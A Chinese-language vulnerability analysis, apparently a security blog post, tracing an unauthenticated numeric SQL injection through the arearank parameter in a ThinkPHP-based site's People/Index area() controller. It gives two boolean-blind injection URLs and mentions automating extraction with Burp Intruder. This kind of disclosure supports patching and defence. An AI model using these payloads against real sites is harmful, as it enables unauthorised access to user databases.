漏洞触发点在/Application/People/Controller/IndexController.class.php中第48行:
public function area() { $map = $this->setMap(); $arearank = I('get.arearank', 0); $arealv = I('get.arealv'); $areaname = I('get.areaname'); if ($arearank == null || $arearank == 0) { $map['pos_province'] =array('neq',''); } else { switch ($arealv) { case 1: $map['pos_province'] = $arearank; break; case 2: $map['pos_city'] = $arearank; break; case 3: $map['pos_district'] = $arearank; break; default: $map['pos_province'] != null; } } $map['status'] = 1; $map['last_login_time'] = array('neq', 0); $peoples = S('People_peoples_' . I('page', 0, 'intval') . '_' . serialize($map)); if (empty($peoples)) { $peoples = D('Member')->where($map)->field('uid', 'reg_time', 'last_login_time')->order('last_login_time desc')->findPage(12); $userConfigModel = D('Ucenter/UserConfig'); $titleModel = D('Ucenter/Title'); foreach ($peoples['data'] as &$v) { $v = query_user(array('title', 'avatar128', 'nickname', 'uid', 'space_url', 'score', 'title', 'fans', 'following', 'rank_link', 'pos_province', 'pos_city', 'pos_district'), $v['uid']); $v['province'] = get_area_name($v['pos_province']); $v['city'] = get_area_name($v['pos_city']); $v['district'] = get_area_name($v['pos_district']); $v['level'] = $titleModel->getCurrentTitleInfo($v['uid']); //获取用户封面id $where = getUserConfigMap('user_cover', '', $v['uid']); $where['role_id'] = 0; $model = $userConfigModel; $cover = $model->findData($where); $v['cover_id'] = $cover['value']; $v['cover_path'] = getThumbImageById($cover['value'], 273, 80); } unset($v); S('People_peoples_' .I('page',0,'intval').'_' . serialize($map), $peoples, 3600); } //地区信息 $district = M('district'); $areanumber = M('member'); $areadata = $district->where('upid=' . $arearank)->select(); //地区人数 foreach ($areadata as &$v1) { switch ($v1['level']) { case 1: $res = $areanumber->where(array('pos_province' => $v1['id']))->count(); $v1['number'] = $res; break; case 2: $res = $areanumber->where(array('pos_city' => $v1['id']))->count(); $v1['number'] = $res; break; case 3: $res = $areanumber->where(array('pos_district' => $v1['id']))->count(); $v1['number'] = $res; break; default: $res = 0; } } unset($v1); if ($areadata == null) { $areadata = $district->where('id=' . $arearank)->field('upid', true)->select(); } $this->assign('tag_arealist', $areadata); if ($areaname == null) { $this->assign('areaname', ""); $this->assign('goback', ""); } else { $this->assign('areaname', $areaname . ':'); $this->assign('goback', "返回"); } $this->assign('tab', 'area'); $this->assign('lists', $peoples); $this->display(); }
我们可以看到对$arearank有这样一个赋值操作:$arearank = I('get.arearank', 0);
我们跟踪一下I()函数,在/ThinkPHP/Common/functions.php中第343行:
function I($name, $default = '', $filter = null, $datas = null) { if (strpos($name, '.')) { // 指定参数来源 list($method, $name) = explode('.', $name, 2); } else { // 默认为自动判断 $method = 'param'; } switch (strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : parse_str(file_get_contents('php://input'), $input); break; case 'param' : switch ($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': parse_str(file_get_contents('php://input'), $input); break; default: $input = $_GET; } break; case 'path' : $input = array(); if (!empty($_SERVER['PATH_INFO'])) { $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr, trim($_SERVER['PATH_INFO'], $depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return NULL; } if ('' == $name) { // 获取全部变量 $data = $input; array_walk_recursive($data, 'filter_exp'); $filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); if ($filters) { if (is_string($filters)) { $filters = explode(',', $filters); } foreach ($filters as $filter) { $data = array_map_recursive($filter, $data); // 参数过滤 } } } elseif (isset($input[$name])) { // 取值操作 $data = $input[$name]; is_array($data) && array_walk_recursive($data, 'filter_exp'); $filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); if ($filters) { if (is_string($filters)) { $filters = explode(',', $filters); } elseif (is_int($filters)) { $filters = array($filters); } foreach ($filters as $filter) { if (function_exists($filter)) { $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤 } else { $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter)); if (false === $data) { return isset($default) ? $default : NULL; } } } } } else { // 变量默认值 $data = isset($default) ? $default : NULL; } return $data; }
可以看到这是一个取值得函数,那么$arearank就是取GET传进来的arearank的值,如果不存在,那么默认值为0。
但是可以看到I()函数有四 个参数,但是在$arearank这里只有两个参数,而第三个参数是filter,也就是过滤参数,可以看到如果没有filter参数的话,就按照默认的 过滤参数来过滤,也就是$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
我们可以看一下DEFAULT_FILTER这个对应怎样的过滤函数,在/ThinkPHP/Conf/convention.php中第53行对DEFAULT_FILTER有定义:
'DEFAULT_FILTER' => 'htmlspecialchars', // 默认参数过滤方法 用于I函数
也就是如果没有指定过滤函数,那么就用htmlspecialchars()这个函数对值进行过滤。
那么我们继续回到上文,$arearank这个变量的值是由GET传递进来的arearank经过htmlspecialchars()处理后的值。
那么$arearank这个变量又带入到了哪一步操作中呢,我们可以看下文有一处操作:
$areadata = $district->where('upid=' . $arearank)->select();
直接将$arearank与upid=做拼接然后组装到了where语句中,周围并无引号进行包裹,是一个数字型的注入。
所以可以无视GPC。因为访问漏洞触发点是不需要登陆的,所以不需要登陆既可以注入。
因为无报错,所以只能用盲注,这里我选择用bool盲注:
payload:
http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=1
http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=2
又会出现另一个页面(1=2):
由于手工测比较麻烦,我们利用burpsuite中的intruder模块来自动化,如图所示:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论